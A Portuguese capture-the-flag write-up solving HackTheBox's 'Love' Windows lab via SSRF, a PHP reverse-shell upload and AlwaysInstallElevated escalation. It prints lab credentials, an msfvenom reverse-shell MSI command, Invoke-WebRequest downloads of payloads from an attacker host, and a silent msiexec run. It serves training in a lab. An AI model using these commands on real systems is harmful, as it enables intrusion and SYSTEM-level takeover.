Love Cover

Neste ‘writeup’ veremos a resolução da máquina ‘Love’ do HackTheBox. Na parte de escalação de privilégios é demonstrado como obter shell do Administrator de várias formas abusando do ‘AlwaysInstallElevated’ habilitado no sistema.

Informações da Máquina

IP: 10.10.10.239

Sistema Operacional: Windows

Nível de dificuldade: Easy

Varredura e Enumeração

Port Scan

# Nmap 7.91 scan initiated Thu Jun 24 17:39:25 2021 as: nmap -v -sC -sV -p 80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670 -Pn -oN details.txt 10.10.10.239
Nmap scan report for 10.10.10.239
Host is up (0.48s latency).

PORT      STATE SERVICE      VERSION
80/tcp    open  http         Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: examples
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Voting System using PHP
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
443/tcp   open  ssl/http     Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Issuer: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-18T14:00:16
| Not valid after:  2022-01-18T14:00:16
| MD5:   bff0 1add 5048 afc8 b3cf 7140 6e68 5ff6
|_SHA-1: 83ed 29c4 70f6 4036 a6f4 2d4d 4cf6 18a2 e9e4 96c2
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
445/tcp   open  microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp  open  mysql?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, HTTPOptions, Help, Kerberos, LANDesk-RC, LDAPBindReq, LPDString, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|_    Host '10.10.16.52' is not allowed to connect to this MariaDB server
5000/tcp  open  http         Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
5040/tcp  open  unknown
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp  open  ssl/http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
| ssl-cert: Subject: commonName=LOVE
| Subject Alternative Name: DNS:LOVE, DNS:Love
| Issuer: commonName=LOVE
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-11T14:39:19
| Not valid after:  2024-04-10T14:39:19
| MD5:   d35a 2ba6 8ef4 7568 f99d d6f4 aaa2 03b5
|_SHA-1: 84ef d922 a70a 6d9d 82b8 5bb3 d04f 066b 12f8 6e73
|_ssl-date: 2021-06-24T21:16:39+00:00; +33m52s from scanner time.
| tls-alpn: 
|_  http/1.1
7680/tcp  open  pando-pub?
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
49670/tcp open  msrpc        Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.91%I=7%D=6/24%Time=60D4ED8E%P=x86_64-pc-linux-gnu%r(HT
SF:TPOptions,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.52'\x20is\x20not\x
SF:20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(RTSPR
SF:equest,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.52'\x20is\x20not\x20a
SF:llowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(RPCCheck
SF:,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.52'\x20is\x20not\x20allowed
SF:\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(DNSVersionBind
SF:ReqTCP,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.52'\x20is\x20not\x20a
SF:llowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(DNSStatu
SF:sRequestTCP,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.52'\x20is\x20not
SF:\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(Hel
SF:p,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.52'\x20is\x20not\x20allowe
SF:d\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(SSLSessionReq
SF:,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.52'\x20is\x20not\x20allowed
SF:\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(TerminalServer
SF:Cookie,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.52'\x20is\x20not\x20a
SF:llowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(TLSSessi
SF:onReq,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.52'\x20is\x20not\x20al
SF:lowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(Kerberos,
SF:4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.52'\x20is\x20not\x20allowed\
SF:x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(SMBProgNeg,4A,"
SF:F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.52'\x20is\x20not\x20allowed\x20t
SF:o\x20connect\x20to\x20this\x20MariaDB\x20server")%r(LPDString,4A,"F\0\0
SF:\x01\xffj\x04Host\x20'10\.10\.16\.52'\x20is\x20not\x20allowed\x20to\x20
SF:connect\x20to\x20this\x20MariaDB\x20server")%r(LDAPBindReq,4A,"F\0\0\x0
SF:1\xffj\x04Host\x20'10\.10\.16\.52'\x20is\x20not\x20allowed\x20to\x20con
SF:nect\x20to\x20this\x20MariaDB\x20server")%r(SIPOptions,4A,"F\0\0\x01\xf
SF:fj\x04Host\x20'10\.10\.16\.52'\x20is\x20not\x20allowed\x20to\x20connect
SF:\x20to\x20this\x20MariaDB\x20server")%r(LANDesk-RC,4A,"F\0\0\x01\xffj\x
SF:04Host\x20'10\.10\.16\.52'\x20is\x20not\x20allowed\x20to\x20connect\x20
SF:to\x20this\x20MariaDB\x20server");
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h18m52s, deviation: 3h30m02s, median: 33m51s
| smb-os-discovery: 
|   OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: Love
|   NetBIOS computer name: LOVE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-06-24T14:16:15-07:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-06-24T21:16:22
|_  start_date: N/A

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun 24 17:42:50 2021 -- 1 IP address (1 host up) scanned in 204.45 seconds

Enumeração de diretórios

Enumerando os diretórios com o gobuster foi possível encontrar uma página de login ‘admin’ e serviços como ‘tcpdf’.

$ gobuster dir -u http://10.10.10.239 -w /home/bruno/github/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt

/includes             (Status: 301) [Size: 340] [--> http://10.10.10.239/includes/]
/images               (Status: 301) [Size: 338] [--> http://10.10.10.239/images/]  
/.html                (Status: 403) [Size: 302]                                    
/admin                (Status: 301) [Size: 337] [--> http://10.10.10.239/admin/]   
/plugins              (Status: 301) [Size: 339] [--> http://10.10.10.239/plugins/] 
/.htm                 (Status: 403) [Size: 302]                                    
/webalizer            (Status: 403) [Size: 302]                                    
/.                    (Status: 200) [Size: 4388]                                   
/phpmyadmin           (Status: 403) [Size: 302]                                    
/.htaccess            (Status: 403) [Size: 302]                                    
/examples             (Status: 503) [Size: 402]
/.htc                 (Status: 403) [Size: 302]                                    
/dist                 (Status: 301) [Size: 336] [--> http://10.10.10.239/dist/]    
/.html_var_de         (Status: 403) [Size: 302]                                    
/licenses             (Status: 403) [Size: 421]                                    
/server-status        (Status: 403) [Size: 421] 
/.htpasswd            (Status: 403) [Size: 302]                                    
/con                  (Status: 403) [Size: 302]                                    
/tcpdf                (Status: 301) [Size: 337] [--> http://10.10.10.239/tcpdf/]   
/.html.               (Status: 403) [Size: 302]                                    
/.html.html           (Status: 403) [Size: 302]                                    
/.htpasswds           (Status: 403) [Size: 302] 
/.htm.                (Status: 403) [Size: 302]                                    
/.htmll               (Status: 403) [Size: 302]                                    
/.html.old            (Status: 403) [Size: 302]
/.html.bak            (Status: 403) [Size: 302]                                    
/.ht                  (Status: 403) [Size: 302]                                    
/.htm.htm             (Status: 403) [Size: 302]                                    
/aux                  (Status: 403) [Size: 302]                                    
/.hta                 (Status: 403) [Size: 302]                                    
/.html1               (Status: 403) [Size: 302]                                    
/.htgroup             (Status: 403) [Size: 302]                                    
/.html.lck            (Status: 403) [Size: 302]                                    
/.html.printable      (Status: 403) [Size: 302]
/prn                  (Status: 403) [Size: 302]                        
/.htm.lck             (Status: 403) [Size: 302]                                    
/.htaccess.bak        (Status: 403) [Size: 302]                                    
/.html.php            (Status: 403) [Size: 302]                                    
/.htmls               (Status: 403) [Size: 302]                                    
/.htx                 (Status: 403) [Size: 302]                                    
/server-info          (Status: 403) [Size: 421]                                    
/.htlm                (Status: 403) [Size: 302]

Webserver

Acessando a porta 80 encontramos uma página de login, solicitando a ID de votação e senha.

http://10.10.10.239/
Love - Página Inicial

Acessando a URL do tcpdf surge uma mensagem de erro.

http://10.10.10.239/tcpdf/tcpdf.php
Tcpdf error

Acessando a porta 5000 é informado que não temos permissão para visualizar seu conteúdo.

Forbidden porta 5000

Para acessar a aplicação via domínio, que é mostrado pelo nmap, adicionamos o IP da máquina ao /etc/hosts.

10.10.10.239 love.htb staging.love.htb

Acessando a página via https.

Alerta certificado https

Visualizando o certificado aparece um potencial nome de usuário do sistema, o ‘roy@love.htb

Visualizando o certificado https

Acessando a página via domínio aparece um menú com uma opção “Demo”.

Página Inicial - Free File Scanner

A página “demo” mostra um campo para submeter uma URL e informar o conteúdo da página solicitada.

http://staging.love.htb/beta.php
Demo - Free File Scanner

Vulnerabilidade

Nesta página ‘Demo’ foram feitos diversos testes usando as URLS e portas mostradas na saída do Nmap:

  • Ao informar 127.0.0.1 mostra a página de login.
  • Ao informar 127.0.0.1/admin/ mostra a página de login do admin.
  • Ao informar o 127.0.0.1/server-status mostra o status do servidor.
  • Ao informar love.htb:47001 é mostrado o erro “404 not found”.
  • Ao informar o path C:\xampp\htdocs\omrs\tcpdf\tcpdf.php mostra a mensagem “Forbidden You don’t have permission to access this resource”.

Após várias tentativas com portas e URLs a aplicação revela na porta 5000 a credencial do usuário admin.

127.0.0.1:5000
Credenciais Admin
admin: @LoveIsInTheAir!!!!

Com as credenciais deste usuário podemos efetuar o login na área do admin.

http://10.10.10.239/admin/index.php
Login Admin

Visualizando o ‘dashboard’ do admin após efetuar o login.

Dashboard Admin

Exploração

Explorando o dashboard encontramos uma listagem de votantes.

Dashboard - Lista de votantes

Nesta página é possível cadastrar um novo votante com a possibilidade de fazer o upload de uma imagem. No campo de imagem deste form foi possível submeter um ‘reverse shell’ em PHP.

Dashboard - Cadastro de votante

O arquivo PHP será salvo na pasta images.

http://10.10.10.239/images/myshell.php

Após submeter o cadastro de votante e chamar o arquivo PHP enviado, recebemos a conexão do host com o usuário ‘phoebe’.

Reverse Shell

Visualizando o conteúdo do diretório ‘images’ com o ‘reverse shell’ em PHP.

Pasta Images

Conteúdo do diretório ‘omrs’ com os arquivos da aplicação Web.

Pasta omrs

Em busca de credenciais encontramos o diretório ‘includes’ com o arquivo conn.php, responsável pela conexão com o banco de dados Mysql.

C:\xampp\htdocs\omrs\includes\conn.php
Credenciais Mysql

Credenciais do usuário ‘phoebe’.

phoebe:HTB#9826^(_

Obtendo a flag do usuário ‘phoebe’.

User Flag

Escalação de Privilégios

Executando o WinPEAS temos como resultado uma opção para escalar privilégios no host através do privilégio “Always Install Elevated”.

WinPEAS

Quando estes dois registros do Windows estão habilitados os usuários com qualquer privilégio podem instalar arquivos .msi como NT AUTHORITY SYSTEM (Administrator).

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Como mostrado no site hacktricks o atacante pode gerar payloads manualmente para executar no host.

Existem duas opções para obter a shell do administrador, criando um .msi que crie um usuário com privilégios de Administrador ou um .msi que execute um ‘reverse shell’ e entregue a shell do administrador.

Além da forma manual também existe a opção automatizada usando o Metasploit. Uma vez obtido o ‘reverse shell’ com o usuário ‘phoebe’ o módulo correspondente pode ser chamado para escalar privilégios.

Módulo do Metasploit:

exploit/windows/local/always_install_elevated

Para executar os módulos .msi manualmente no host sem provocar interferências do sistema de proteção do Windows é interessante desabilitar o UAC (User Account Control) como forma de prevenção.

powershell.exe -nop -exec bypass

Chamando o powershell para executar comandos mais avançados no sistema.

powershell

Ainda no shell do usuário podemos subir ao host o módulo PowerUp.ps1 e logo em seguida fazer a importação do mesmo.

Invoke-WebRequest '<ip>:<port>/PowerUp.ps1' -OutFile C:\Users\Phoebe\Downloads\PowerUp.ps1

Import-Module ./PowerUp.ps1

O PowerUP.ps1 possui o comando abaixo para criar dentro do diretório atual um binário MSI Windows para escalar privilégios. Após gerar o binário basta executá-lo.

Write-UserAddMSI

Comando para verificar se o privilégio está habilitado.

Get-RegistryAlwaysInstallElevated

Neste outro link é mostrado como usar o módulo UserAdd.msi para poder criar um novo usuário com privilégios.

Write-UserAddMSI
Usuário rottenadmin criado

Com o msfvenom podemos gerar na máquina local um payload para obter a shell do usuário administrator.

Msfvenom reverse.msi
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f msi -o reverse.msi

Efetuando no host o download do reverse.msi.

Invoke-WebRequest '<ip>:<port>/reverse.msi' -OutFile C:\Users\Phoebe\Downloads\reverse.msi

Executando o reverse.msi no host.

msiexec /quiet /qn /i reverse.msi

Recebendo o ‘reverse shell’ com usuário NT AUTHORITY SYSTEM.

Administrator Reverse Shell

Obtendo a flag do usuário Administrator.

Administrator Flag

Conforme mostrado neste ‘writeup’ existem várias maneiras de escalar privilégios no Windows quando o ‘AlwaysInstallElevated’ está habilitado no sistema.

Até a próxima!